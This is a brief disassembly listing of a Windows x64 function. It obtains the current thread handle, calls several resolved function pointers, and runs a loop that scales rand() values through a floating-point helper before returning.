mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x558]
mov r9, qword [rbp + 0x550]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x538]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x6d0], 0xffffffff
add dword [rbp + 0x6d0], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b5b0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003bf0
movq rax, xmm0
mov qword [rbp + 0x530], rax
cmp dword [rbp + 0x6d0], 0xb1
jle 0x1400029b0
mov eax, 0
movups xmm6, xmmword [rbp + 0x750]
add rsp, 0x7e8
pop rbx
pop rsi
pop rdi
pop rbp
ret